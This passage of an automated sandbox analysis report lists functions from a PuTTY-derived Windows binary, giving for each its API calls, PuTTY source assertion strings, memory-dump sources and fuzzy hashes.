                                                                                                                                                    APIs
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(?,2000000B,003A83D4,00000002,00000000,?,?,?,003A83D4,?,00000000), ref: 003A8A8E
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(?,20001004,003A83D4,00000002,00000000,?,?,?,003A83D4,?,00000000), ref: 003A8AB7
                                                                                                                                                    • GetACP.KERNEL32(?,?,003A83D4,?,00000000), ref: 003A8ACC
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: InfoLocale
                                                                                                                                                    • String ID: ACP$OCP
                                                                                                                                                    • API String ID: 2299586839-711371036
                                                                                                                                                    • Opcode ID: 9d080939910dcf894c3aae2b364804e22e587ce6bf6e40090bc377ab7a704ba5
                                                                                                                                                    • Instruction ID: fe1cf88bad296b235ebbeab978f6766c36a5a9d52fa6269a3b50616aafa8eabc
                                                                                                                                                    • Opcode Fuzzy Hash: 9d080939910dcf894c3aae2b364804e22e587ce6bf6e40090bc377ab7a704ba5
                                                                                                                                                    • Instruction Fuzzy Hash: 8F21CF32B00101ABDB378F55D900BA7B3AAEF92B64B578566E90AEB500FF32DD40D350
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032CC90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,0000FFFF,00000000,?,?,?,?,003269BE,?), ref: 0032CD1B
                                                                                                                                                    • _strlen.LIBCMT ref: 0032CD26
                                                                                                                                                    • GetLastError.KERNEL32(?,0000FFFF,00000000,?,?,?,?,003269BE,?), ref: 0032CD40
                                                                                                                                                    Strings
                                                                                                                                                    • (unable to format: FormatMessage returned %u), xrefs: 0032CD47
                                                                                                                                                    • Error %d: %s, xrefs: 0032CD5D
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorFormatLastMessage_strlen
                                                                                                                                                    • String ID: (unable to format: FormatMessage returned %u)$Error %d: %s
                                                                                                                                                    • API String ID: 2706427827-1777221902
                                                                                                                                                    • Opcode ID: 356e07b1e12fecc2ab4381fbd2bda8a7d96508785e86c869b30aa126f377ac0f
                                                                                                                                                    • Instruction ID: 6b6a0a4a1d1711e544d773dde9f0fe70fa51ae2a12a90669d87d5ec290e890c9
                                                                                                                                                    • Opcode Fuzzy Hash: 356e07b1e12fecc2ab4381fbd2bda8a7d96508785e86c869b30aa126f377ac0f
                                                                                                                                                    • Instruction Fuzzy Hash: D721DA71A143506BD333AB24BC07FAB7AE4AB59B40F050438F549DA292EAB1A440C793
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A828B Relevance: 7.7, APIs: 5, Instructions: 183COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 003A3052: GetLastError.KERNEL32(?,?,003959E8,?,?,?,?,0039DBC7,0039DB94,?,?,?,?,?,0039DB94,?), ref: 003A3056
                                                                                                                                                      • Part of subcall function 003A3052: SetLastError.KERNEL32(00000000,0039DB94,?,?,?,?,?,0039DB94,?,00000000,?,00000003,0039149B), ref: 003A30F8
                                                                                                                                                    • GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 003A8397
                                                                                                                                                    • IsValidCodePage.KERNEL32(00000000), ref: 003A83E0
                                                                                                                                                    • IsValidLocale.KERNEL32(?,00000001), ref: 003A83EF
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 003A8437
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 003A8456
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 415426439-0
                                                                                                                                                    • Opcode ID: bb92653882bbd10b626e675cc72d6edb8b93bf9526aa3553d7487ece2ca8c37a
                                                                                                                                                    • Instruction ID: fae476b401df7bb152e91bc87b2f606f90f7f46052ca1692662ce3ebd11ffc9a
                                                                                                                                                    • Opcode Fuzzy Hash: bb92653882bbd10b626e675cc72d6edb8b93bf9526aa3553d7487ece2ca8c37a
                                                                                                                                                    • Instruction Fuzzy Hash: 6E518079A00206AFDF22DFA5CC41AFEB7B8FF0AB00F154569E511EB190EB7199408B61
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003684F0 Relevance: 7.0, Strings: 5, Instructions: 721COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: !out->outbuf$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/zlib.c$out->noutbits + nbits <= 32$st->npending < HASHCHARS$st->npending <= HASHCHARS
                                                                                                                                                    • API String ID: 0-3966252588
                                                                                                                                                    • Opcode ID: db52d9be68ab5f5ef61d62a147b92cac5e44286110eb2dec2f974f8795fdd2af
                                                                                                                                                    • Instruction ID: ef07c42313625043727959c9586fe12b3a4334a986d2ab094181167d8837a2c9
                                                                                                                                                    • Opcode Fuzzy Hash: db52d9be68ab5f5ef61d62a147b92cac5e44286110eb2dec2f974f8795fdd2af
                                                                                                                                                    • Instruction Fuzzy Hash: 9152E570A047558FC72ACF28C88066AB7E5FF98304F14CA7DE8999B395EB30E955CB41
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0035B650 Relevance: 6.9, Strings: 5, Instructions: 664COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/mpint.c$len <= pool->nw$p > 0$x->nw > 0$x->w[0] & 1
                                                                                                                                                    • API String ID: 0-4104193936
                                                                                                                                                    • Opcode ID: d530d5f3c9093680082d37ad3991ac81200a418a660482e01b44ba4cf0428c2a
                                                                                                                                                    • Instruction ID: b39df8571c0e3f7c7600e133f4f18d1fa6d6124177b07db71349d4f5534a1f34
                                                                                                                                                    • Opcode Fuzzy Hash: d530d5f3c9093680082d37ad3991ac81200a418a660482e01b44ba4cf0428c2a
                                                                                                                                                    • Instruction Fuzzy Hash: F442B1716083159FC725CF18C881A6AF7E5BFC8305F154A2CE99A97391EB71ED09CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A9013 Relevance: 6.2, APIs: 4, Instructions: 205COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003A9103
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: FileFindFirst
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1974802433-0
                                                                                                                                                    • Opcode ID: a8ce490b7181a0d791c90d376db5c3062aa64ef761e00d47fd17ca612c10caa6
                                                                                                                                                    • Instruction ID: 0f5cb2834858e97ea8b4a649d114aad978032e7d398caa1dad83f99621ab5b89
                                                                                                                                                    • Opcode Fuzzy Hash: a8ce490b7181a0d791c90d376db5c3062aa64ef761e00d47fd17ca612c10caa6
                                                                                                                                                    • Instruction Fuzzy Hash: 2071D47194516DAFDF32DF38CC89BEAB7B9EB46300F1442DAE008A7251DA358E859F10
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0038E52A Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0038E536
                                                                                                                                                    • IsDebuggerPresent.KERNEL32 ref: 0038E602
                                                                                                                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0038E622
                                                                                                                                                    • UnhandledExceptionFilter.KERNEL32(?), ref: 0038E62C
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 254469556-0
                                                                                                                                                    • Opcode ID: 5ce8a8f89e178e7842689f8e048c62c1aa1d79ed2b83a7a593a6450cd441d4f5
                                                                                                                                                    • Instruction ID: 1125b54af4048110c522816704c85040fbcc58a628a7804a8e0c61d6533db51f
                                                                                                                                                    • Opcode Fuzzy Hash: 5ce8a8f89e178e7842689f8e048c62c1aa1d79ed2b83a7a593a6450cd441d4f5
                                                                                                                                                    • Instruction Fuzzy Hash: B731E975D053199BDB21EF65D9897CDBBB8AF08304F1041DAE40DAB250EB719A848F45
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032CBA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetVersionExA), ref: 0032CBF6
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc
                                                                                                                                                    • String ID: GetVersionExA$kernel32.dll
                                                                                                                                                    • API String ID: 190572456-3521452493
                                                                                                                                                    • Opcode ID: dc2c0b0f43ce5321b9490aeeb9e0e23a1029e6ee83a7a193c81fa24692e55fd9
                                                                                                                                                    • Instruction ID: 9350ca8ef9607cf30de51ffc4c4122c97ddf8019f1af33c6b1c42fd1026013c1
                                                                                                                                                    • Opcode Fuzzy Hash: dc2c0b0f43ce5321b9490aeeb9e0e23a1029e6ee83a7a193c81fa24692e55fd9
                                                                                                                                                    • Instruction Fuzzy Hash: B71193F49043619BD323DF38FD46B697BE8A744714F02451AE4998B3E2DB349941CB41
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00323220 Relevance: 5.2, Strings: 4, Instructions: 230COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strcat_strlen
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/settings.c$j < n$mapping[i].v < 32$mapping[i].v >= 0
                                                                                                                                                    • API String ID: 432593777-1338313052
                                                                                                                                                    • Opcode ID: 81dbf486d7f93a52e98cef6115b8580b50be328d7e2da905eb6777fb70ec7397
                                                                                                                                                    • Instruction ID: 3b28885d7034f4016ffb4a8223d8d923267fb3db7271d28e90469a1148d1f4b2
                                                                                                                                                    • Opcode Fuzzy Hash: 81dbf486d7f93a52e98cef6115b8580b50be328d7e2da905eb6777fb70ec7397
                                                                                                                                                    • Instruction Fuzzy Hash: F1711436908320ABC712EE05E88156EB7A5EF99714F15892CFA985B341E735EF008B82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003753E0 Relevance: 5.2, Strings: 4, Instructions: 177COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/ntru.c$head == sched->endpos$rs[head] == 0$tail == sched->endpos
                                                                                                                                                    • API String ID: 0-1402270595
                                                                                                                                                    • Opcode ID: 85c706f3c94becd013387ea764784c5cd24a9d42981075d3030f4f3df1cfa60c
                                                                                                                                                    • Instruction ID: d03a070727889e5c6eb8d9acf54b574b483e5cbcf7ef05ba3e4dde3113027be0
                                                                                                                                                    • Opcode Fuzzy Hash: 85c706f3c94becd013387ea764784c5cd24a9d42981075d3030f4f3df1cfa60c
                                                                                                                                                    • Instruction Fuzzy Hash: 2B512271A046159BC726DF0AE844A6AB3E2FF94310F0AC52DE8899B390D779FD61CB41
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0035D050 Relevance: 4.8, Strings: 3, Instructions: 1089COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/crypto/mpint.c$word < x->nw$x0->nw == x1->nw
                                                                                                                                                    • API String ID: 0-1701883408
                                                                                                                                                    • Opcode ID: f8d44a6ab774df70206b7fd99de3783a8d4b77ffbe0dd038e1e8d350c8bc2b91
                                                                                                                                                    • Instruction ID: 0cd0267f194ef7b82acaa43873772a42b0961d95e126019888c4f5fd57eb6873
                                                                                                                                                    • Opcode Fuzzy Hash: f8d44a6ab774df70206b7fd99de3783a8d4b77ffbe0dd038e1e8d350c8bc2b91
                                                                                                                                                    • Instruction Fuzzy Hash: E982AE76A04211DFC721DF18C881A2AB7E2FF89301F5A8568EC499B361E731FD59CB81
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A857C Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 003A3052: GetLastError.KERNEL32(?,?,003959E8,?,?,?,?,0039DBC7,0039DB94,?,?,?,?,?,0039DB94,?), ref: 003A3056
                                                                                                                                                      • Part of subcall function 003A3052: SetLastError.KERNEL32(00000000,0039DB94,?,?,?,?,?,0039DB94,?,00000000,?,00000003,0039149B), ref: 003A30F8
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003A85D0
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003A861A
                                                                                                                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003A86E0
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: InfoLocale$ErrorLast
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 661929714-0
                                                                                                                                                    • Opcode ID: 2f9800b9ccb1d398659c40ab8d4ae246b1ea4f130fdd920ede89defb56f0df89
                                                                                                                                                    • Instruction ID: f5c834ca70b64cf6aaf34ab0c70959bb11acfdb6db21e3f4877f2345fe502f67
                                                                                                                                                    • Opcode Fuzzy Hash: 2f9800b9ccb1d398659c40ab8d4ae246b1ea4f130fdd920ede89defb56f0df89
                                                                                                                                                    • Instruction Fuzzy Hash: 6C61E4716102079FEB2ADF28CD82BBAB7A8FF05304F214179EA15CA591EB75DD81CB50
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A413D Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 003A4235
                                                                                                                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 003A423F
                                                                                                                                                    • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 003A424C
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 3906539128-0
                                                                                                                                                    • Opcode ID: f9427399c1e0e511730fe580b81947cc321c16d27c1bb58ffd54659183915b7d
                                                                                                                                                    • Instruction ID: 1a90e6ba5a98bfe08ec008eff34bd08ea165607f5b59af111e54f479ef41e672
                                                                                                                                                    • Opcode Fuzzy Hash: f9427399c1e0e511730fe580b81947cc321c16d27c1bb58ffd54659183915b7d
                                                                                                                                                    • Instruction Fuzzy Hash: 9F31D5749013189BCB22DF24DC8878CBBB8FF48310F5041DAE40CAB291EB749B818F44
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F8230 Relevance: 4.6, APIs: 3, Instructions: 52windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 00328710: _strlen.LIBCMT ref: 00328720
                                                                                                                                                    • IsIconic.USER32 ref: 002F8287
                                                                                                                                                    • SetWindowTextW.USER32(00000000,?), ref: 002F82A7
                                                                                                                                                    • SetWindowTextA.USER32(00000000,00000000), ref: 002F82C5
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
